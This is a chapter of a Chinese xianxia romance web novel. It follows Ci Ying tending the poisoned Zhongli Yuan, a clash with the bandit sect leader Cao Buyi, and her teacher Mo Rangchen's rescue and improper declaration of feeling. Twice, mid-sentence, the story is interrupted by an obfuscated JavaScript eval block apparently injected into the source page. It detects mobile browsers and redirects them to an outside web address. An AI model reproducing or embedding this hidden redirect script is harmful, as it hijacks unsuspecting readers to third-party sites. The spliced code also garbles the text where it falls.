辞盈伸手安慰地贴在他脸侧,柔声道:“不是你的错。她大概被关太久疯掉了,你不要往心里去……” 话说一半,钟离渊忽然向前一歪,将她扑倒,重重地压在她身上。 什么鬼?!荒山野岭的又来这套!这家伙发情怎么不分时间场合地点?! 辞盈刚想一巴掌扇飞他,手掌触到他胸膛滚烫得不正常,向上移,额头这温度起码得有40了吧? 所以这根本不是发情,是烧晕过去了?! 她连忙将他扶坐起来,面对面,掌心贴在他额头上,灵流如注地渡过去。 待热度一点一点消褪下来,才沿着他暴露的皮肤仔细检查了一遍,并没发现什么伤口,又撩起他的衣袖,终于在臂弯处找到一个十分不起眼的红点。 定是刚才去扶蛇妖时被蛇毒所伤。 真是一波未平一波又起,这么快找解药任务就×2了?这蛇毒的解药又要去哪里找啊喂! 想起钟离渊刚才湿着眼眶小蝌蚪找妈妈一样的神情,辞盈心里又酸又涩,恶狠狠咽下一句脏话。 它喵的死蛇妖,我要是再让你靠近他一次,我就天天吃卓老头做的豆角吃到辟谷! 扛着这么长一条人,御剑难度极高,好几次差点一头栽进山涧翻滚冒泡的岩浆里。好不容易冲回地平面,她将钟离渊背起来,吭哧吭哧往附近的医馆走。 短短几日,这是第几次扛他了?辞盈已经轻车熟路,脸不红气不喘,就是有点儿费鞋——不管她怎么往上拽,钟离渊的靴子都拖在地上,走一路鞋尖都快磨没了。 她一边走一边跟他讲话,也不管他能不能听见: “刚才那女的肯定是个冒牌货。世界这么大,蛇妖不多得是么,我看她就是来碰瓷的。” “钟离渊,你可是堂堂大魔头的儿子,要被个小蛇妖给毒死也太没面子了,所以你一定要坚持住,医馆就快到了。” “钟离渊,你不知道,我在暮苍山被江鹤川杀死之前,有多想叫你的名字,可是我拼了命,咬牙控制住了。你知道为什么吗?” “我说是想还你自由,其实不完全对。我是在跟你怄气,谁叫你说讨厌我,说我比穿琵琶骨的铁链更恶毒呢。” “我当时就想着,大不了死在这里,也不再向你摇尾乞怜了,本姑娘也是要面子的。” “但我没想到相思咒竟然还在,还要害你冒死再救我一次又一次。钟离渊,你可真是个倒霉蛋。” 医馆的大夫是个白胡子老头,目瞪口呆地说这位小公子的身体素质简直世间罕见。 普通人中了这种霸道的蛇毒,不出半个时辰就去见阎王了。而他周身经脉竟然还能如常人一般运转,只是凝滞些,倒不致命,慢慢调理即可。 辞盈松了口气,心想呵呵,他不用见阎王,大概因为他自己就是个活阎王吧。 于是大夫诊脉开方煎药一气呵成,嘱咐回家好好修养便是。 连搬带扛地总算将他弄到榻上,辞盈顾不得腰酸背痛,先喂了药,才寻了个木凳,寸步不离地在旁边守着。 钟离渊睡得很不安稳。大概是药的作用,面色呈现不自然地潮红,眼皮底下乱滚,像是做了不少梦,嘴里还不时喃喃细语不知在说什么。 辞盈看着昏昏沉沉的钟离渊,心里很不是滋味。 她自诩恩怨分明,最讨厌亏欠别人。小时候宁愿饿一顿也不会开口跟人借钱买午饭。而对钟离渊,她却自觉亏欠太多,怎么也还不清了。 “对不起。”她自顾自道:“等你和师尊都好了,我们就去寻一个相思咒的解法。天地之大,能人大师那么多,我就不信还解不了这个破咒。” 本以为钟离渊睡一觉就差不多能满血复活,然而,这蛇毒却比辞盈想象中厉害得多。 她闲来无事,将客栈桌上的话本都翻烂了,附近的餐食也尝了个遍,钟离渊也只是嘴唇的乌紫浅了几分,没有半点要苏醒的迹象。 而在钟离渊日复一日昏睡的这些天里,她打探到一个意外的消息。准确来说,根本不需要打听,这个消息刚有点风吹草动就不胫而走,眼下已经传遍大江南北。 辞盈是在楼下吃早饭的时候,偶然听见邻桌两个南疆人念叨水云剑宗,便挑起一筷子热面,一边吹气,一边竖起了耳朵。 “师父还没成亲,徒弟倒抢在前头了,水云剑宗从上到下都在走桃花运呐,我也应该去试试。” “人家可是清衍真人的公子,想娶谁不容易?听闻又生得一表人才,啧啧,不知道是哪家的姑娘这样有福气。” “咳!咳咳……”辞盈差点儿让面条汤给呛死。 敢情江羡之回去商量出来的法子,就是抢在师尊前头先成亲?这算什么意思,冲喜吗? 那两个南疆人接着道:“听闻婚期就在今日,墨宗主是不是已经带着萧教主的千金回去观礼了?” “谁带谁,你别搞反了。墨宗主是上门赘婿,这得算回娘家,哈哈哈哈……” 接着又是一番恶意满满的调侃。 一碗面的功夫,辞盈终于悟出了其中的玄机。 既然进不去玄武教的大门见不到墨让尘,那么不如干脆设法把人请回水云剑宗。江羡之要大婚,做师尊的没理由不出席观礼,到时候直接把人扣下,管它什么蛊毒妖术再徐徐图之。 就算萧阳在,剑宗那么多人拼了命也不是白给的,何况还有一个邪功已经登峰造极的江鹤川。 此计甚妙,唯一的遗憾是,江羡之大婚她竟然不能去凑热闹喝喜酒。 她悻悻然返回客栈,推开房门,倒吸了一口凉气。 地上赫然一滩暗红的毒血,枕头洇湿了半面。 钟离渊终于醒了,却脸色惨白地伏在床边,抬眼看见她,刚要说话,又呕出一大口鲜血。他剧烈地喘了几下,还在往外淌血的嘴角抿了抿,挤出一个勉强算能是笑的弧度,手指朝她轻轻勾了勾。 辞盈脑袋懵懵地过去,蹲在床边:“怎么会这样……你……你别再吐血了,人有多少血能让你这么吐啊!” 这话实在没道理,难道是他自己想吐的吗? 可辞盈已经心慌意乱顾不得许多,手足无措地抓起帕子给他擦嘴,念叨着:“这大夫不行,庸医……走,咱们去找任平生,现在就走。” “死不了。”钟离渊抬手摸摸她的脑袋,安慰道:“我再躺两天就好了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215713|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那你这是……算排毒吗?”辞盈胡乱摸了摸他的脉,倒还算正常。 “嗯,大概是吧。”钟离渊眉头一皱,气息不稳地问,“外面……有什么人?” 辞盈本来还未察觉,听他提醒才留神静听,果然脚步繁杂凌乱,还夹杂着吵嚷哭闹,像是许多人来闹事。 推开窗向下往,果真见一众弟子簇拥着浮夸的八角鎏金轿撵,敲锣打鼓浩浩荡荡而来。 曹不义的口味倒是持久不变,轿撵前后随行的弟子一个赛一个的威武雄壮,感觉个个都能大战一整宿。他油头粉面,耀武扬威地仰靠在轿撵里,后头还跟着一溜马车。手下的人走一路,抢一路,若有抵抗的,一刀一个。闹得人仰马翻,赚得盆满钵满。 这货怎么跑到这发疯来了?南疆向来是玄武教的地盘,九曜派轻易不敢造次,更别提这样大张旗鼓地肆意妄为。 □□行为一路畅通无阻,眼看几个人冲进客栈,开始地毯式搜抢。 “你别动。”辞盈把刚要起身的钟离渊按回床里,顺手抄起小破剑,将刚冲进来的劫匪一脚踹倒,剑指对方眉心:“滚出去。” “我的晚晚好生威武。” 辞盈回头,见钟离渊歪歪地倚在床边对她笑,半边红衣滑落到肩头,露出雪白的锁骨和隐约半片胸肌,唇上还沾着血,俨然一副病娇美人图。 这人不是才醒半刻生命垂危的残血状态吗,怎么就笑得茶里茶气的? 辞盈瞪他一眼,回手一剑砍飞三个刚冲上来的高级打手,然后就像个女杀神似的守在门边。 “你走吧。”钟离渊忽然道。 “嗯?你说什么?” “你走吧,去找你师尊也可,要约谁也罢,都随你。” 辞盈试图从他脸上找出玩笑的痕迹,无果。想不通他又抽什么风,是因为她去偷植楮草的事儿吗?醋精的心思也太难猜了吧。 九节钢爪破窗而入,辞盈面不改色挥剑,剑气钢爪铮然碰撞嗡鸣跌落。她随手挽了个剑花,道:“你现在这副样子,当然一切都随我。我要走你追得上吗?” “我现在这样,依旧可以杀人。”钟离渊斜倚着床头,神态轻松怡然自得,阳光洒满银发,像镀了一层碎金。 对对,你是天下第一,活阎王哪怕只剩半格残血也依旧是活阎王。真是活久见了,有生之年还能听见钟离渊让她走。他不一贯是神挡杀神佛挡杀佛,强制爱的终极执行者吗? “赶紧走,”钟离渊又换了个舒适的姿势,懒洋洋道,“我不想再看见你了。” 辞盈持剑大步走到床前,嗖嗖几下,红衣片片碎落:“别跟我玩这么老套的剧情,再找借口撵我走,我就把你裤子也砍成抹布,让你光着身子被人追得满街跑。” 钟离渊将被子往上裹了裹,一脸无辜:“冷。” 呼啸的冷风阴森森地灌进一屋子杀气,吊梢眼在槛窗外眯缝着,阴阳怪气道:“我当是谁躲在这里暗箭伤人,原来是你们这两个小东西。” 你管这叫暗箭伤人?我明明是正当防卫啊亲。 曹不义一眼便看出钟离渊是个残血,“嚯”地从窗外跳进来,堂而皇之道:“你们捣毁我的地牢,这个仇我可一直记着呢。上次在暮苍山被你逃了,今日我可不会手下留情。” 辞盈往前上了半步。 之所以是半步,因为实在肝儿颤不敢靠前,脑子和腿各说各的,谁也管不了谁。当然,脸上还是一副风轻云淡:“地牢拆干净也没把你翻出来,躲得真够深的。我看你别叫曹不义了,干脆叫曹不行吧。” 曹不义脸上青一阵白一阵,牙都快咬碎了:“你再说一遍。” 辞盈抻脖子扫了一眼楼下那四个威武雄壮的随行,道:“噢,骂人不揭短,不好意思,我忘了你真不行。” “找死!” 铁骨折扇凌厉刺出,辞盈的破剑哪里扛得住这劲力,一触即断。折扇根根铁骨如削,直取她喉咙处,却又在最后一寸,生生刹住。 61. 逾矩 一只手死死攥住扇骨,鲜血顺着指缝汩汩涌出,沿着雪白的腕臂蜿蜒而下,触目惊心。钟离渊却连眉头也没皱一下,面不改色地盯着曹不义,仿佛那只正在流血的手不是他的。 曹不义运劲推扇,冷笑道:“小子,你是中了什么毒,使不出灵力了吧。我看你这手是不打算要了!” 扇骨锋利如刃,钟离渊没有灵力,只凭肉身力气牢牢握在掌心,如同以卵击石,却偏偏真的制住了。 辞盈抓起手边的砚台,猛地抡向曹不义的脑袋,迫使他向后狼狈一跃,诧异道:“这是什么路数?” 还能是什么路数,菜鸡互啄狗急跳墙罢了! 她慌忙捧起钟离渊血淋淋的手,翻来覆去查看:“你疯了?手指头会被削掉的!” 曹不义冷笑道:“别急,我会把你们俩的手指都一根一根削掉,公平得很。” 钟离渊忽然抬眸望向窗外,淡淡道:“恐怕没那么容易。” “呵呵,你以为还有谁会来救你们……” 轰!一声巨响,半面墙轰然倒塌,碎石飞溅。 漫天的暴土扬尘中,白衣胜雪翩然落地,如踏浮云,眉目间带着不食人间烟火的清冷,剑刃蓝芒流转。 “师尊!” 辞盈大喜过望,跑过去绕着墨让尘正面背面三百六十度看了一圈,确定他双目能聚焦不是植物人,才抓着他的衣袖道:“你醒了太好啦!二师兄终于靠谱一回!” 墨让尘由着她蹦跶转圈,清冷的目光一落到她身上便有了温度,含笑道:“出来历练这么久,怎么还没长大,这样一惊一乍。” 曹不义从砾石碎瓦中钻出猥琐的脑袋,站起来稀里哗啦抖落满身沙土,惊异又冤屈道:“墨……宗主……你怎么在这?” 墨让尘转头,目光如霜刃:“我倒想问问曹掌门,带人沿街打砸,如此行径与流氓土匪何异?” 楼下□□的声音早变成遍地哀叫,听哭声也知道九曜派弟子被墨让尘揍得多惨,鬼哭狼嚎此起彼伏:“掌门要给我们做主啊!” 曹不义嘴角抽了抽,忍气吞声地闭着嘴。 辞盈见缝插针,也撇嘴告状:“师尊,他要杀我。” “没有没有!你听错了妹妹,”曹不义疯狂摇头,“我哪能对女人动手呢,我是冲他,冲他……”说着朝旁边一扬下巴。 墨让尘扫了一眼赤膊而立满手是血的钟离渊,皱了皱眉:“你们的私人恩怨我不管,南疆百姓何辜?” 曹不义立刻赔笑:“莫宗主此言甚是,我现在便走,绝不在南疆逗留了。” “如此最好。” 既然曹不义给足了面子,墨让尘也不便再追究,于是长剑入鞘,向辞盈道,“我们走。” 辞盈伸手去拉钟离渊,铁骨折扇却倏然横在二人中间,曹不义道:“你走,他得留下。” “凭什么?” “他曾毁了我的地牢,叫我颜面尽失,我一直欲报此仇,可这魔头奸诈,始终东躲西藏,今日才被我找到。”曹不义冷哼道,“何况这种魔头孽畜,人人得而诛之,还要问什么原因!” 三派围攻都没辙的魔头却被他一个人轻松虐杀,以后他的名字便是镶了金边的闪亮,这是可以吹一辈子的丰功伟绩。 此时杀钟离渊又不费吹灰之力,简直是天上掉馅饼,业绩都喂到嘴边了哪有放走的道理? 方才听墨让尘的意思是不打算管闲事,何况水云剑宗自称名门正派,不帮忙围剿就算偏私了,怎么可能管魔头的死活? 辞盈嗤道:“毁地牢的时候,连老鼠都给冲出来了,怎么没见你敢露半个面?说他躲你?就凭你,配吗?” 曹不义郑重其事对墨让尘一抱拳:“君子报仇十年不晚!就请墨掌门为我做个见证,今日我便要手刃魔头,为民除害!” “我真没见过你这么无耻的……” 辞盈怒气冲冲,就要去挠曹不义,却被钟离渊拉住了。他懒洋洋倚墙而立,一副成竹在胸的淡定模样,对辞盈笑道:“你先走,我解决了这个废物就去找你。” 我信你个鬼,你现在这样浑身上下除了美色还有什么杀伤力?难道靠色诱吗? 钟离渊仿佛看穿她的心思,勾唇一笑:“去吧,放心,我没事。” 辞盈默默后退两步,退回到钟离渊身边。 墨让尘云淡风轻的神色一滞,似是不敢相信,又重复道:“辞盈,跟我走。” 辞盈摇摇头。墨让尘这才注意到,她清瘦了,却更神采飞扬。辫子在脑后扎得很高,像蓬勃新生的春草,倔强指天。 她好像有哪里不太一样了。 “我给你的剑呢?避毒釵呢?” 辞盈依旧摇头。 难道要当着这么多人说出江鹤川其实是个修炼邪功的死变态吗? 墨让尘手心攥紧袖口,脸上不动声色:“我不知道这些日子你经历了什么,但是现在我醒了。为师保证,不会再让任何人伤害你。” “跟我回水云剑宗吧。” 最后一句语调变了音,几乎是在恳求。 马上要入春,云麓殿的鸢尾花快开了吧? 成了人夫的江羡之不知是什么样,还会不会去偷偷比赛御剑输了被人追着打。 卓老头的豆角又毒晕了几个新来的弟子。 藏经阁的书大概落了厚厚一层灰,也不知是谁在整理。 她的小屋,床头摆着一个妆奁盒,里头收纳的却全都是符纸法器小玩意,一半是墨让尘送的,另一半是从江羡之那里剥削来的。可惜没带出来,不然今天也不用拿砚台抡曹不义了。 真想再回水云剑宗看看啊。 “跟他走吧。” 钟离渊的声音像温柔的手,把她从片刻失神里捞出来。辞盈望着他,他的眼睛水汪汪的,漂亮得令人心颤。 笨蛋,你要撵我走,起码把你眼睛里的留恋先藏好吧,演技太差了。 剑已经碎成一段一段,剑鞘掉在地上,被墙土埋了半截。辞盈弯腰拾起破剑鞘,拍去尘土,然后滑稽却坚定地指向曹不义。 “曹不义,我知道你喜欢美男子,但他,是我的人。”她伸出一根手指摇了摇,“你想都不要想。” 曹不义盯着那截破破烂烂的剑鞘,仿佛在无声地嘲讽挑衅。他勃然大怒,折扇如刀当空劈下,将那剑鞘震得粉碎。 下一刻,曹不义竟觉得虎口一阵发麻,折扇几乎要脱手。滔天灵力如怒浪层层扑袭,铁骨像脆面条,寸寸尽断,当啷坠地。 蓝芒如瀑挡在辞盈面前。墨让尘面有愠色,声若空谷清泉冷冽:“没人能在我面前对我的弟子动手。” 眼看着一个护一个,曹不义恨得牙根痒:“想不到水云剑宗竟然会维护一个魔头的孽种!墨宗主,你这样与钟离渊为伍,难道忘了令尊是怎么死的?是他爹!是钟离桀害死了墨翊仙师夫妇!” “你不顾杀父之仇,也无视剑宗正道,将来这小畜生要学他爹为祸世人,你便是帮凶刽子手了!” 钟离渊下颌紧绷,眸光微动。 若不是他提醒,辞盈都要忘了,这二位是互相有杀父之仇,不共戴天的冤家。 然而在无量池中,那一对明澈清朗的少年也曾携手同行,生死与共。若非钟离桀忽然入魔,墨让尘和钟离渊,本该是一同长大,情同手足的兄弟。 辞盈心里一紧,往旁边挪了半步,挡在钟离渊身前。 墨让尘却面如止水,不为所动,随手将出鞘半寸的醉花剑轻飘飘地收回:“不劳费心,我自有计较。” 辞盈内心热泪盈眶:师尊就是师尊,永远靠谱永远清醒永远稳如泰山! 狗东西还想挑拨离间,做你的春秋大梦吧。 曹不义瞪着钟离渊和辞盈,像流浪野狗盯着肉包子,撤又不甘心,冲又打不过,无能狂吠又攻击无效,最终只能悻悻地一抱拳:“墨宗主,今日我就卖你个面子,下回,下回……” “下回,你最好求神仙保佑,别再碰见我。”钟离渊挑了挑眉,明明面带微笑,却令人如坠冰窖,不寒而栗。 曹不义打了个寒噤,多一秒也不想在这个房间逗留,跳上轿撵,也不似来时的四平八稳,一阵风似地逃了。 房间骤然空旷,落针可闻。辞盈夹在中间,左右望望两位大佬,献上标准商务微笑。 和气生财,都别冲动啊! 空气安静了许久,墨让尘忽然道:“羡之大婚,你不想回去看看?” 辞盈不假思索:“当然想了。” 整个水云剑宗,除了墨让尘就只有江羡之对她最好。而且江羡之整日一副老婆奴的模样,恋爱的酸臭味完全不顾旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221687|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人死活,早就想等到婚礼好好收拾他一顿了。 墨让尘温和道:“我带你回去,或许还来得及。” 她还没说话,钟离渊突然身子一歪,下巴搁在她肩头,弱不禁风的样子,喃喃道:“你去吧,不用管我……” 辞盈连忙搀扶住他:“刚才还好好的,这是怎么了?蛇毒又犯了?” “失血太多,头晕罢了,不碍事。”钟离渊声音越来越小,像是随时会昏迷。 蓝芒倏尔弹来,钟离渊敏捷侧身闪过,怒目而视。 墨让尘袖袍一甩:“毫发无伤,我看你精神得很。” 钟离渊毫不示弱:“天都快黑了,什么喜酒还喝不完?” 墨让尘冷哼:“你也可以跟着回去,长长见识。” 钟离渊嗤笑:“我对那些臭道士可没兴趣。” “停——!” 作为奥利奥中间的奶油,夹缝中艰难求生,辞盈一手推一个:“二位英雄,要不听我说两句?” 她扶额看着这被砸得三面漏风惨不忍睹的墙,转向钟离渊:“你先去找掌柜谈一下房间赔偿问题。” 钟离渊哦了一声,昂首阔步理直气壮往外走,不像去赔钱的,倒像去收债的,从墨让尘身边经过的时候还不忘冷笑两下以示挑衅。 墨让尘目不斜视地无视了他,然后看向辞盈。他眉目清冷,眼神却柔和,像温泉暖阁,涓涓细流,令人不自觉地放下戒备。 最近发生了太多事,多到他无暇顾及她。 辞盈知道,他要顾剑宗,要顾苍生,他的道心坚不可摧,泽被天下,唯独没有她的一隅之地。 “我不回去了。” 她咧嘴笑笑,露出小虎牙:“师尊,你帮我给二师兄带个好吧,这样连红包我也省了。” 墨让尘望着她。无数次在云麓殿,她为他剪烛沏茶,也是这样笑的,像案台上娇艳的鸢尾花,脂粉甜香中透着一抹若有似无的特立独行,叫人捉摸不透。 她总是笑吟吟的,却不见得真的开心,哪怕受了委屈也不见她情绪外露。 可是在钟离渊面前,她仿佛重获新生一般,真正做回了自己。那些嗔怪怒骂都是他从未见过的,哪怕是简简单单的笑,只要对面是钟离渊,她也能更肆无忌惮。 他想,自己或许真的要失去她了。 “以后,还会再回来吗?”墨让尘攥紧袖口,脸上沉稳端正毫无破绽。 辞盈道:“肯定啊,我想你们了就会回去蹭饭。” “水云剑宗永远都是你的家。” 话说完了,该走了,墨让尘告诉自己。可他不想就这样放她走。 他不能就这样放她走。 鬼使神差地,他伸手抚上她的脸颊。 不是长辈慈爱地摸摸头,也不是安抚鼓励地拍拍肩,而是轻轻抚摸她的脸,透着怜惜和渴望。 三年前他抱着她往暮苍山上走,她那样轻,像一片羽毛,在往后的一千多个日夜里反复撩拨他的心。而这却是第一次,他鼓起勇气抛下所有,做出师徒逾矩的行为。 如同曾无数次入梦却无法对人言的缠绵,忽然溢出梦境与现实重叠交错,令人心神恍惚。 辞盈睁大了眼。一瞬间四目相对,墨让尘甚至有不顾一切拥她入怀的冲动。 “真的不能为了我,留下吗?”他努力把声音控制得很好。 辞盈终于回过神来,收起满脸错愕,笑道:“师尊,你怎么了?” ……不管你是谁,现在立刻从我师尊身上下来好吗?! 难道蛊毒还有后遗症吗?还是解药过量的副作用吗?师尊今天怎么直勾勾的这么奇怪啊?! 我那一身正气光风霁月不近女色坐怀不乱的师尊呢?! 身后忽然闯进个人,啪地拍掉墨让尘的手,厉色道:“信不信我卸了你的胳膊!” 墨让尘理智回笼,淡然拂袖道:“你可以试试。” 钟离渊眉毛一拧,脑袋顶上蹿火,正要发作,就被辞盈连拉带拽拖出房间。 走到门口,辞盈忽然反应过来:“对了,师尊,江羡之婚礼还没办呢,是谁给你解的蛊?” 植楮草只有一棵,难道那蛇妖还能拿去救墨让尘不成? 身后墨让尘的声音远远传来:“不晓得,我醒来时,便是独自一人了。”